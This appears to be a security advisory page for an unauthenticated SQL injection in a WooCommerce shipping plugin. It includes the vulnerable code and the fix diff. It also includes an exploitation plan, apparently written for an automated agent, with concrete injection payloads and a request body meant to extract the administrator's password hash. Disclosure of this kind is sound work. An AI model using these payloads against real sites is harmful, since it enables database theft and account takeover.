CVE-2026-54815

Cargo Shipping Location for WooCommerce <= 5.6 - Unauthenticated SQL Injection

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
5.7
Patched in
7d
Time to patch

Description

The Cargo Shipping Location for WooCommerce plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 5.6 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=5.6
PublishedJune 17, 2026
Last updatedJune 23, 2026

What Changed in the Fix

Changes introduced in v5.7

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-54815 ## 1. Vulnerability Summary The **Cargo Shipping Location for WooCommerce** plugin (versions <= 5.6) contains an unauthenticated SQL injection vulnerability. The issue exists within the REST API endpoint used for cargo status updates. The plugin fails t…

Show full research plan

Exploitation Research Plan - CVE-2026-54815

1. Vulnerability Summary

The Cargo Shipping Location for WooCommerce plugin (versions <= 5.6) contains an unauthenticated SQL injection vulnerability. The issue exists within the REST API endpoint used for cargo status updates. The plugin fails to sanitize or prepare the shipment_id parameter before including it in a raw SQL query via $wpdb->get_results(). Because the endpoint's permission_callback is hardcoded to return true, any unauthenticated user can trigger the injection.

2. Attack Vector Analysis

  • Endpoint: /wp-json/cargo-shipping-location-for-woocommerce/v1/update-status/
  • HTTP Method: POST
  • Vulnerable Parameter: shipment_id (passed in the JSON or POST body)
  • Authentication: None (Unauthenticated)
  • Preconditions: The plugin must be active. For Boolean-based extraction, at least one WooCommerce order must exist with the cslfw_shipping meta key populated (created when a shipment is generated).

3. Code Flow

  1. Entry Point: The plugin registers a REST route in includes/CargoApi/Webhook.php:
    • Hook: rest_api_init
    • Route: cargo-shipping-location-for-woocommerce/v1/update-status/
    • Permission Callback: cargo_update_shipment_status_permission (returns true).
  2. Callback Execution: The request is handled by cargo_update_shipment_status($request).
  3. Data Acquisition: The function retrieves parameters via $request->get_params().
  4. Sink:
    • The code checks if WooCommerce HPOS (High-Performance Order Storage) is enabled to determine the table name (wc_orders_meta vs postmeta).
    • It then executes a raw SQL query:
      $orders = $wpdb->get_results(
          "
          SELECT *
          FROM {$wpdb->prefix}{$tableName}
          WHERE meta_key = 'cslfw_shipping' AND meta_value LIKE '%{$data['shipment_id']}%'
          "
      );
      
    • Vulnerability: The value of {$data['shipment_id']} is interpolated directly into the query string without using $wpdb->prepare().

4. Nonce Acquisition Strategy

This vulnerability resides in a REST API endpoint intended for external webhooks.

  • Nonce Requirement: Based on the source code in includes/CargoApi/Webhook.php, the permission_callback for the /update-status/ route returns true and does not perform any nonce or capability checks.
  • Conclusion: No nonce is required for this exploit.

5. Exploitation Strategy

The exploitation will use Boolean-based Blind SQL Injection. The response from the server indicates whether the query returned results:

  • Success (True): {"success": true, "message": "Database updated successfully", ...}
  • Failure (False): {"success": false, "message": "Failed to update database", ...}

Step-by-Step Plan:

  1. Baseline Test: Send a request with a shipment_id that is known to exist in a shipment meta (e.g., 123).
  2. Injection Test (True): Inject a condition that is always true.
    • Payload: 123%' AND 1=1 AND '%'='
    • Expected: success: true
  3. Injection Test (False): Inject a condition that is always false.
    • Payload: 123%' AND 1=0 AND '%'='
    • Expected: success: false
  4. Data Extraction: Use the boolean response to exfiltrate the administrator's password hash from the wp_users table.

Primary Exploit Request:

  • URL: http://<target>/wp-json/cargo-shipping-location-for-woocommerce/v1/update-status/
  • Method: POST
  • Headers: Content-Type: application/json
  • Body:
    {
      "shipment_id": "123%' AND (SELECT 1 FROM wp_users WHERE ID=1 AND user_login='admin') AND '%'='",
      "new_status_code": "3",
      "new_status": "Delivered"
    }
    

6. Test Data Setup

To ensure the meta_value LIKE query returns a result initially, we must create a test shipment entry in the database.

  1. Create Order: Use WP-CLI to create a WooCommerce order.
    • wp eval "wc_create_order();"
  2. Add Shipment Meta: Add the expected meta key and value to the order.
    • wp post meta add <ORDER_ID> cslfw_shipping '{"123": {"status": "pending"}}' --format=json (Note: the plugin expects a serialized array or JSON string in this meta field).

7. Expected Results

  • A successful "True" condition will return a JSON response with "success": true.
  • A successful "False" condition will return a JSON response with "success": false.
  • If WP_DEBUG is enabled, an invalid SQL syntax payload (e.g., shipment_id=123') will cause the database error to be logged or potentially displayed.

8. Verification Steps

After performing the HTTP-based injection, verify the ability to leak data:

  1. Use the http_request tool to check if the first character of the admin password hash is $:
    • Payload: 123%' AND (SELECT 1 FROM wp_users WHERE ID=1 AND SUBSTRING(user_pass,1,1)='$') AND '%'='
  2. Check the response for "success": true.

9. Alternative Approaches

  • Time-based Blind: If the cslfw_shipping meta is not easily guessable, use a sleep-based payload.
    • Payload: x' OR (SELECT 1 FROM (SELECT(SLEEP(5)))a) OR 'x'='y
  • Error-based Injection: If the site displays SQL errors, use updatexml() or extractvalue().
    • Payload: 123' AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1),0x7e),1) AND '1'='1
Research Findings
Static analysis — not yet PoC-verified

Summary

The Cargo Shipping Location for WooCommerce plugin (versions <= 5.6) is vulnerable to unauthenticated SQL Injection via the 'shipment_id' parameter. The plugin directly interpolates user input into a database query within a REST API endpoint that lacks proper authentication, allowing attackers to extract sensitive information from the WordPress database.

Vulnerable Code

// includes/CargoApi/Webhook.php:89
        $orders = $wpdb->get_results(
            "
            SELECT *
            FROM {$wpdb->prefix}{$tableName}
            WHERE meta_key = 'cslfw_shipping' AND meta_value LIKE '%{$data['shipment_id']}%'
            "
        );

Security Fix

--- /includes/CargoApi/Webhook.php	2026-03-05 12:55:10.000000000 +0000
+++ /includes/CargoApi/Webhook.php	2026-04-15 10:21:48.000000000 +0000
@@ -2,6 +2,7 @@
 namespace CSLFW\Includes\CargoAPI;
 
 use CSLFW\Includes\CSLFW_Helpers;
+if ( ! defined( 'ABSPATH' ) ) exit;
 
 class Webhook
 {
@@ -54,8 +55,51 @@
 
     public function  cargo_update_shipment_status_permission($request)
     {
+        $allowed_domains = [
+            'api-v2.cargo.co.il',
+            'dashboard.cargo.co.il',
+        ];
+
+        $cargo_domain = sanitize_text_field( $request->get_header( 'Http-Cargo-Domain' ) );
+
+        if ( empty( $cargo_domain ) ) {
+            return new \WP_Error(
+                'rest_forbidden',
+                __( 'Missing Cargo domain header.', 'cargo-shipping-location-for-woocommerce' ),
+                [ 'status' => 401 ]
+            );
+        }
+
+        $cargo_domain = preg_replace( '/^https?:\/\//', '', $cargo_domain );
+        $cargo_domain = trim( $cargo_domain, '/' );
+        $cargo_domain = preg_replace( '/^www\./', '', $cargo_domain );
+        $cargo_domain = strtolower( parse_url( 'https://' . $cargo_domain, PHP_URL_HOST ) );
+
+        if ( ! in_array( $cargo_domain, $allowed_domains, true ) ) {
+            return new \WP_Error(
+                'rest_forbidden',
+                __( 'Domain not allowed.', 'cargo-shipping-location-for-woocommerce' ),
+                [ 'status' => 403 ]
+            );
+        }
+
+        return true;
     }
 
@@ -79,12 +123,20 @@
             $tableName = 'postmeta';
             $orderIdField = 'post_id';
         }
+        $table = $wpdb->prefix . $tableName;
+        $like  = '%' . $wpdb->esc_like($data['shipment_id']) . '%';
+
         $orders = $wpdb->get_results(
-            "
-            SELECT *
-            FROM {$wpdb->prefix}{$tableName}
-            WHERE meta_key = 'cslfw_shipping' AND meta_value LIKE '%{$data['shipment_id']}%'
-            "
+            $wpdb->prepare(
+                "
+                    SELECT *
+                    FROM {$table}
+                    WHERE meta_key = %s
+                    AND meta_value LIKE %s
+                ",
+                'cslfw_shipping',
+                $like
+            )
         );

Exploit Outline

The vulnerability is exploited by sending a POST request to the `/wp-json/cargo-shipping-location-for-woocommerce/v1/update-status/` endpoint. No authentication is required because the `permission_callback` for this route is hardcoded to return `true` in versions <= 5.6. An attacker provides a payload in the `shipment_id` parameter of the JSON body that uses a single quote (`'`) to break out of the SQL `LIKE` clause. By appending Boolean logic (e.g., `AND (SELECT 1 FROM wp_users WHERE ID=1 AND user_pass LIKE '$%')`), the attacker can determine if the condition is true or false based on the server's response (`success: true` vs `success: false`). This allows for the iterative extraction of database content, such as administrator password hashes.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.